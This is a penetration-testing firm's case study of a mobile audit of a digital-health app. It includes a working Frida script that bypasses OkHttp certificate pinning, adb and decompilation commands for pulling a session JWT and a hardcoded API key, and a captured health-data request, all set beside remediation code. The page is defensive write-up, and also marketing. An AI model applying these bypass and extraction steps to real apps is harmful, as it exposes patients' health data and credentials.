Skip to content
Featured Case Study

Mobile Application Penetration Testing Securing a digital-health flagship (iOS & Android) against insecure PHI storage, SSL-pinning bypass MITM, and hardcoded API keys ahead of a high-profile launch

AI image prompt — Ultra-realistic, eye-level photograph of a bright, minimalist modern product studio during the day. On a clean light-oak desk sit a flagship iPhone and an Android device side by side, both displaying a polished digital-health app UI with elegant cyan (#00e5ff) accent lines and a security audit overlay. Bright natural daylight from large windows, soft shadows, green potted plants, shot on Hasselblad, high-end professional commercial branding

Project Details

Client
Vitalis Health is a fast-growing digital-health startup whose flagship iOS and Android app, VitalisCare, delivers remote patient monitoring, secure clinician messaging, and lab-result delivery for over 240,000 patients across a network of partner clinics
Industry
Digital Health / HealthTech
Company Size
80 - 120
Headquarters
Boston, Massachusetts
Project Duration
1 month (Apr 2026 - May 2026)

A comprehensive grey-box mobile application penetration test of a digital-health flagship app (VitalisCare, iOS & Android) handling protected health information. The engagement combined static analysis, dynamic instrumentation, and network interception to prove insecure local storage of auth tokens, an SSL-pinning bypass enabling full MITM of PHI traffic, and a hardcoded API key recovered via decompilation — then delivered Keychain/Keystore migration, hardened certificate pinning, and secrets management to achieve HIPAA-aligned launch readiness.

Engagement Classification · TLP:AMBER

Project VitalShield / Mobile PHI Audit

Full-scope grey-box mobile penetration test of a digital-health flagship across iOS and Android. 6 weeks, deep static and dynamic analysis, live API interception, and remediation of PHI-exposing vulnerabilities ahead of a high-profile launch.

Secured

A Launch-Blocking Risk in Digital Health

Mobile is where modern healthcare meets the patient — and where protected health information (PHI) leaves the safety of a controlled backend and lands on a device the attacker may physically own. Unlike a server, a mobile binary ships to the adversary: it can be decompiled, instrumented, hooked at runtime, and have its network traffic intercepted on a hostile network.

Vitalis Health engaged us six weeks before the launch of a major VitalisCare release. Their concern was precise and well-founded: could a motivated attacker reverse-engineer the app, extract patient data from local storage, or read sensitive API traffic in transit? Over the engagement we proved that the answer — on the pre-release build — was an unambiguous yes, then closed every gap to a HIPAA-aligned standard before a single patient installed the new version.


Technical Audit Snapshot

Platforms Assessed
iOS + Android
Universal & native builds
API Endpoints Audited
38
REST + GraphQL
Vulnerabilities Found
11
CVSS v3.1 4.0 – 9.1
PHI Exposure Vectors
3
Closed pre-launch

4-Phase Mobile Assessment Methodology

We aligned the engagement to the OWASP Mobile Application Security Verification Standard (MASVS), structuring the work across four reinforcing phases spanning the binary, the runtime, the network, and the backend API.

01

Static Analysis (SAST & Reverse Engineering)

Decompiled the Android APK (jadx, apktool) and inspected the iOS IPA (class-dump, Hopper). Audited the manifest, exported components, embedded strings, and third-party SDKs for hardcoded secrets and insecure defaults.

02

Dynamic Analysis (Runtime Instrumentation)

Ran the app on rooted Android and jailbroken iOS devices, hooking methods with Frida and Objection to inspect local storage, keychain entries, crypto calls, and runtime behaviour under tampering.

03

Network Interception (MITM)

Routed device traffic through an intercepting proxy (Burp/mitmproxy), defeated certificate pinning at runtime, and analysed every request/response for sensitive data exposure and transport weaknesses.

04

API Security Auditing & Remediation

Fuzzed and abused backend endpoints for authorization flaws and PHI leakage, then co-authored Keychain/Keystore migrations, hardened pinning, and a secrets-management strategy — re-testing each fix to confirm closure.

Interactive Methodology Checklist

Tap each control to mark it complete — this is the live MASVS-aligned checklist we worked through on the VitalisCare engagement.


Mobile Architecture & MITM Attack Path

VitalisCare is a native iOS/Android client talking to a REST + GraphQL backend behind an API gateway. The intended transport security relied on TLS with certificate pinning — the exact control we set out to defeat in order to observe PHI in transit.

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '12px', 'primaryColor': '#06222b', 'primaryTextColor': '#e0fbff', 'primaryBorderColor': '#00e5ff', 'lineColor': '#00e5ff', 'secondaryColor': '#02080a', 'tertiaryColor': '#0a1417', 'background': 'transparent', 'clusterBkg': '#0a1417', 'clusterBorder': '#0e3a44', 'edgeLabelBackground': '#06222b', 'titleColor': '#67e8f9', 'nodeTextColor': '#e0fbff'}}}%% graph TD classDef attacker fill:#1c0d0d,stroke:#ef4444,stroke-width:2px,color:#fecdd3; classDef device fill:#06222b,stroke:#00e5ff,stroke-width:2px,color:#e0fbff; classDef proxy fill:#06222b,stroke:#00e5ff,stroke-width:3px,color:#e0fbff; classDef backend fill:#0c111d,stroke:#3b82f6,stroke-width:2px,color:#dbeaf8; App([VitalisCare App]):::device Frida([Frida Hook]):::attacker Frida -.bypass pinning.-> App App --> Proxy{Intercepting Proxy}:::proxy Proxy --> GW[API Gateway]:::backend GW --> DB[(PHI Datastore)]:::backend

Vulnerability Classification Matrix · OWASP Mobile Top 10 (2024)

Each finding was triaged with CVSS v3.1 and mapped to the OWASP Mobile Top 10 (2024) and the relevant MASVS control group.

IDVulnerability / AssetPlatformCVSS v3.1Mobile Top 10Exploit ComplexityRemediation Status
OC-MOB-001Insecure Local Storage of Auth Tokens (PHI)iOS + Android9.1 (Critical)M9: Insecure Data StorageLow (Filesystem read)REMEDIATED
OC-MOB-002SSL Pinning Bypass → Full MITM of API TrafficiOS + Android8.6 (High)M5: Insecure CommunicationMedium (Runtime hook)REMEDIATED
OC-MOB-003Hardcoded API Key via DecompilationAndroid8.2 (High)M1: Improper Credential UsageLow (Static strings)REMEDIATED
OC-MOB-004Exported Android Activity Leaks SessionAndroid6.8 (Medium)M8: Security MisconfigurationMedium (Malicious app)REMEDIATED
OC-MOB-005Sensitive PHI Cached in App SnapshotsiOS5.3 (Medium)M6: Inadequate Privacy ControlsLow (Physical access)REMEDIATED
Advertisement

Static vs Dynamic Analysis

The same vulnerability often surfaces differently depending on whether you read the binary or watch it run. Toggle between our static and dynamic workflows on the token-storage finding below.

analysis-workbench
jadx + apktool · reading the binary
# Decompile the APK and grep for token persistence
apktool d vitaliscare-release.apk -o out/
jadx -d jadx_out vitaliscare-release.apk

$ grep -rni "getSharedPreferences\|putString" jadx_out/sources/ | head
TokenStore.java: prefs = ctx.getSharedPreferences("vc_auth", MODE_PRIVATE);
TokenStore.java: prefs.edit().putString("jwt", token).apply();   # plaintext!

# The JWT is written to an unencrypted XML file on disk:
#   /data/data/com.vitalis.care/shared_prefs/vc_auth.xml

Static review located the exact class and key persisting the auth JWT into plaintext SharedPreferences — no encryption, world-readable on a rooted device.

frida + adb · watching it run
# Pull the live secrets file straight off a rooted device
$ adb shell run-as com.vitalis.care cat shared_prefs/vc_auth.xml
<string name="jwt">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIi...</string>

# Confirm at runtime with a Frida hook on the setter
frida -U -f com.vitalis.care -l hook_tokenstore.js
[TokenStore.putString] key=jwt value=eyJhbGciOiJ...  (PHI scope: read:labs)

Dynamic analysis confirmed the finding live: the JWT was readable from disk and observable at runtime, granting an attacker the patient’s PHI-scoped session.


Critical Finding OC-MOB-001 — Insecure Local Storage of Auth Tokens

VitalisCare persisted its session JWT — which carried PHI-read scopes — into unencrypted SharedPreferences on Android and UserDefaults on iOS. On a rooted/jailbroken or backed-up device, the token could be lifted directly off disk and replayed against the API, granting full access to a patient’s records.

Attack Path Sequence

← Swipe horizontally to view full sequence flow →

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '14px', 'primaryColor': '#06222b', 'primaryTextColor': '#e0fbff', 'primaryBorderColor': '#00e5ff', 'lineColor': '#00e5ff', 'secondaryColor': '#02080a', 'tertiaryColor': '#0a1417', 'background': 'transparent', 'clusterBkg': '#0a1417', 'clusterBorder': '#0e3a44', 'edgeLabelBackground': '#06222b', 'titleColor': '#67e8f9', 'nodeTextColor': '#e0fbff'}}}%% sequenceDiagram autonumber participant Attacker as Attacker (Device) participant FS as App Sandbox (Disk) participant API as VitalisCare API participant PHI as PHI Records Attacker->>FS: run-as / read shared_prefs + UserDefaults FS-->>Attacker: Plaintext JWT (scope: read:labs) Attacker->>API: GET /v1/patients/me/labs (Bearer stolen JWT) API-->>Attacker: 200 OK API->>PHI: fetch records PHI-->>Attacker: Patient lab results (PHI exposed)

The Remediation Block (Before vs After)

secure-token-storage.swift
VULNERABLE (iOS)
// JWT stored in UserDefaults — unencrypted plist
func saveToken(_ token: String) {
UserDefaults.standard.set(
  token, forKey: "vc_jwt"
)
}

func loadToken() -> String? {
UserDefaults.standard
  .string(forKey: "vc_jwt")
}
SECURED (Keychain)
// Store in Keychain, hardware-backed where available
import Security

func saveToken(_ token: String) {
let data = Data(token.utf8)
let query: [String: Any] = [
  kSecClass as String: kSecClassGenericPassword,
  kSecAttrAccount as String: "vc_jwt",
  kSecValueData as String: data,
  kSecAttrAccessible as String:
    kSecAttrAccessibleWhenUnlockedThisDeviceOnly
]
SecItemDelete(query as CFDictionary)
SecItemAdd(query as CFDictionary, nil)
}

On Android we migrated from raw SharedPreferences to EncryptedSharedPreferences backed by a Keystore master key, ensuring tokens are encrypted at rest and bound to the device.

// Android — EncryptedSharedPreferences backed by the Android Keystore
val masterKey = MasterKey.Builder(context)
    .setKeyScheme(MasterKey.KeyScheme.AES256_GCM)
    .build()

val securePrefs = EncryptedSharedPreferences.create(
    context,
    "vc_auth_secure",
    masterKey,
    EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV,
    EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM
)
securePrefs.edit().putString("jwt", token).apply()

Critical Finding OC-MOB-002 — SSL Pinning Bypass Enabling MITM

VitalisCare implemented certificate pinning to protect PHI in transit — a strong control on paper. However, the pinning logic was enforced purely client-side in code that could be hooked at runtime. Using a Frida script, we neutralised the pinning check on both platforms and routed all traffic through an intercepting proxy, reading and modifying live API requests in cleartext.

MITM Attack Vector

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '14px', 'primaryColor': '#06222b', 'primaryTextColor': '#e0fbff', 'primaryBorderColor': '#00e5ff', 'lineColor': '#00e5ff', 'secondaryColor': '#02080a', 'tertiaryColor': '#0a1417', 'background': 'transparent', 'clusterBkg': '#0a1417', 'clusterBorder': '#0e3a44', 'edgeLabelBackground': '#06222b', 'titleColor': '#67e8f9', 'nodeTextColor': '#e0fbff'}}}%% graph TD classDef vuln fill:#2d1414,stroke:#ef4444,stroke-width:2px,color:#fecdd3; classDef ok fill:#06181d,stroke:#00e5ff,stroke-width:2px,color:#e0fbff; Start[App initiates TLS handshake] --> Pin{Pinning check
hookable at runtime?} Pin -->|Yes: Frida overrides verify| Bypass[Trust attacker cert]:::vuln Bypass --> Intercept[Proxy reads PHI in cleartext]:::vuln Pin -->|No: native + attestation| Reject[Handshake aborted]:::ok

Frida Pinning-Bypass Script (Proof-of-Concept)

// frida-okhttp-unpin.js — neutralise OkHttp CertificatePinner at runtime
Java.perform(function () {
  const CertificatePinner = Java.use('okhttp3.CertificatePinner');

  // Force the pinning check to always succeed
  CertificatePinner.check.overload(
    'java.lang.String', 'java.util.List'
  ).implementation = function (hostname, peerCertificates) {
    console.log('[+] Bypassed pinning for: ' + hostname);
    return; // no exception thrown => pin "valid"
  };
});

// Run:  frida -U -f com.vitalis.care -l frida-okhttp-unpin.js --no-pause

With pinning defeated, the proxy captured a live PHI request in cleartext:

GET /v1/patients/me/labs HTTP/2
Host: api.vitalis.example
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
X-Device-Id: 9F3A-CC21-7741

HTTP/2 200 OK
Content-Type: application/json

{"patientId":"pt_88231","labs":[{"test":"HbA1c","value":"7.9%","date":"2026-05-02"}]}

Hardened Pinning Strategy

We re-architected pinning to combine OS-native enforcement with server-side defence-in-depth, so a single runtime hook can no longer expose PHI.

<!-- Android — declarative Network Security Config (OS-enforced pinning) -->
<network-security-config>
  <domain-config>
    <domain includeSubdomains="true">api.vitalis.example</domain>
    <pin-set expiration="2027-01-01">
      <pin digest="SHA-256">k3y0fThePr1maryLeafCert0000000000000000000=</pin>
      <pin digest="SHA-256">BackUpP1nF0rR0tati0n00000000000000000000000=</pin>
    </pin-set>
  </domain-config>
</network-security-config>

Layered controls shipped alongside the config: pinning moved to OS-native APIs (NSPinnedDomains on iOS), runtime integrity/anti-tamper checks (jailbreak & Frida detection) were added, and the backend now enforces short-lived tokens plus device-bound mutual TLS for high-sensitivity PHI endpoints — so even a bypassed client cannot trivially replay traffic.


Critical Finding OC-MOB-003 — Hardcoded API Key via Decompilation

Decompiling the release APK surfaced a third-party analytics/maps API key embedded directly in the compiled source. Because it shipped inside the binary, anyone could extract it in seconds and abuse the client’s quota — and, worse, the key was over-privileged.

Recovery via Static Analysis

# Smali excerpt from the decompiled APK (com/vitalis/care/Config.smali)
.field public static final API_KEY:Ljava/lang/String; =
    "AIzaSyB-VitalisProd-3kf9whardcodedKEY8x21q"

# Or trivially, from the raw binary strings:
$ apktool d vitaliscare-release.apk -o out/
$ grep -rni "AIza" out/    # Google-style API key prefix
out/smali/com/vitalis/care/Config.smali: "AIzaSyB-VitalisProd-3kf9w..."

Remediation: Remove Secrets from the Client

The only durable fix is to stop shipping secrets in the binary. We rotated the exposed key immediately, applied strict referrer/package + API restrictions, and moved privileged calls behind the backend so the client never holds a usable secret.

secrets-remediation
VULNERABLE
// Secret compiled into the client binary
object Config {
const val API_KEY =
  "AIzaSyB-VitalisProd-3kf9w..."
}

val url = "$BASE/geo?key=" + Config.API_KEY
SECURED (Backend Proxy)
// Client holds NO secret — calls our backend,
// which injects the key server-side from a vault.
val res = api.geocode(
GeoRequest(address = q)
)   // Authorization: short-lived user token only

// Backend (never shipped to device):
//   key = vault.read("maps/api_key")
//   upstream.get(".../geo?key=$key")

PHI Exposure Risk Score · Before vs After

A quantifiable representation of risk reduction across local storage, transport security, secret exposure, and platform configuration — measured over the six-week engagement.

Systemic Risk Mitigation Velocity

Composite PHI-exposure score across the iOS and Android builds

Vulnerable StateHardened State
1007550250Week 1Week 2Week 3Week 4Week 5Week 693.7 BaselineKeychain/Keystore livePinning + mTLS shipped2.0 Hardened

Live MITM Interception Simulator

Replay a PHI API request through the device. Toggle the pinning state to see the difference between the pre-engagement client (pinning bypassable) and the hardened build (OS-native pinning + mTLS).

Build:
Proxy · Frida Hook Active
INTERCEPTED
GET /v1/patients/me/labs
Pinning check hooked → returns valid. Establishing proxy TLS… ●●●
⚠ Cleartext captured: Bearer eyJhbGci… + HbA1c 7.9%
PHI exposed: patientId pt_88231 readable in transit.
Proxy · Frida Hook Active
BLOCKED
GET /v1/patients/me/labs
OS-native pin validated outside hookable code path… ●●●
⚠ TLS handshake aborted: proxy certificate not in pin-set.
telemetry: tls.pin_failure + integrity.frida_detected · session revoked

Quantifiable Business Impact

The engagement converted a launch-blocking risk into a defensible, HIPAA-aligned security posture — closing every PHI-exposure vector before the new release reached a single patient device.

Security MetricPre-Audit StateHardened StateQuantified ROI
Auth Token StoragePlaintext on diskKeychain / Keystore-boundEliminated offline PHI session theft
Transport InterceptionPinning bypassable → full MITMOS-native pinning + mTLSPrevented live PHI exposure in transit
Secret ManagementAPI key hardcoded in binaryVault + backend proxy, key rotatedStopped quota abuse & key extraction
Runtime IntegrityNo tamper / root detectionJailbreak/Frida detection + attestationRaised cost of dynamic instrumentation
HIPAA Launch ReadinessNot launch-readyHIPAA-aligned, evidence-backedUnblocked the high-profile release

Strategic Takeaways

Securing a mobile app that carries PHI means accepting that the binary, the runtime, and the device are all in the attacker’s hands.

  1. Treat the device as hostile. Anything stored on disk in cleartext is already compromised on a rooted, jailbroken, or backed-up device. Auth tokens and PHI belong in the Keychain/Keystore, encrypted and device-bound — never in UserDefaults or plain SharedPreferences.
  2. Client-side controls buy time, not safety. Certificate pinning and obfuscation raise the cost of attack but can be hooked at runtime. Pair OS-native enforcement with server-side defence-in-depth — short-lived tokens, device-bound mTLS, and anomaly telemetry — so no single client bypass exposes data.
  3. Secrets do not belong in the binary. Anything compiled into the app will be decompiled and extracted. Route privileged calls through a backend that injects secrets from a vault, and scope every credential to the minimum it needs.
Accelerated Integration

Ready to secure your architecture?

Initiate a full cryptographic security review, IAM baseline audit, and penetration testing engagement for your organization.

Project Onboard? Secure Cryptographic Invitation Pipeline
Visual Showcase

System Schema & Architecture

Curated diagrams, interface snapshots, and architectural blueprints illustrating our core technical approach and environment mapping.

AI image prompt — A highly professional, ultra-realistic corporate photo of a bright mobile product team room in broad daylight. Smiling engineers review a flagship health app prototype on a wall-mounted light dashboard showing device security posture and PHI data-flow diagrams accented with vivid cyan (#00e5ff). Clean desks, green plants, bright daylight, premium commercial workspace aesthetic
AI image prompt — A clean, bright 3D isometric infographic diagram explaining a mobile MITM interception flow. Rendered on a minimalist off-white surface with soft studio shadows. Labeled blocks for Mobile Device, Intercepting Proxy, TLS Pinning, and API Gateway connected by glowing cyan (#00e5ff) flow lines. Elegant vector-art architectural render, professional corporate style
AI image prompt — A realistic candid photograph of a professional mobile security engineer working at a large high-end monitor in a bright office. Natural daylight floods the room. The screen shows a decompiler interface and a Frida instrumentation console. Potted plants, light-wood accents, premium corporate office, 8k resolution
AI image prompt — Ultra-realistic executive presentation scene in a bright boardroom with natural daylight. A professional female security architect presents a mobile hardening and HIPAA-compliance roadmap on a large white screen with elegant cyan (#00e5ff) line details. Executives listen around a sleek modern table. Shot on Hasselblad, premium corporate high-end aesthetic
Client Endorsement

Hear it straight from Vitalis Health

"We were weeks from our biggest launch, with payer partners and clinicians depending on us to protect highly sensitive patient data. Antigravity reverse-engineered our app, pulled auth tokens straight off a rooted device, bypassed our SSL pinning to read live API traffic, and recovered an API key we thought was safely buried in the binary. Every finding came with working proof and a precise, production-ready fix. They turned a launch-blocking risk into a HIPAA-aligned security story we now tell with confidence."

Webster Herzog

Webster Herzog

Co-Founder & CTO at Vitalis Health

Sponsored Link

Subscribe to my newsletter

Receive my case study and the latest articles on my WhatsApp Channel.

Warning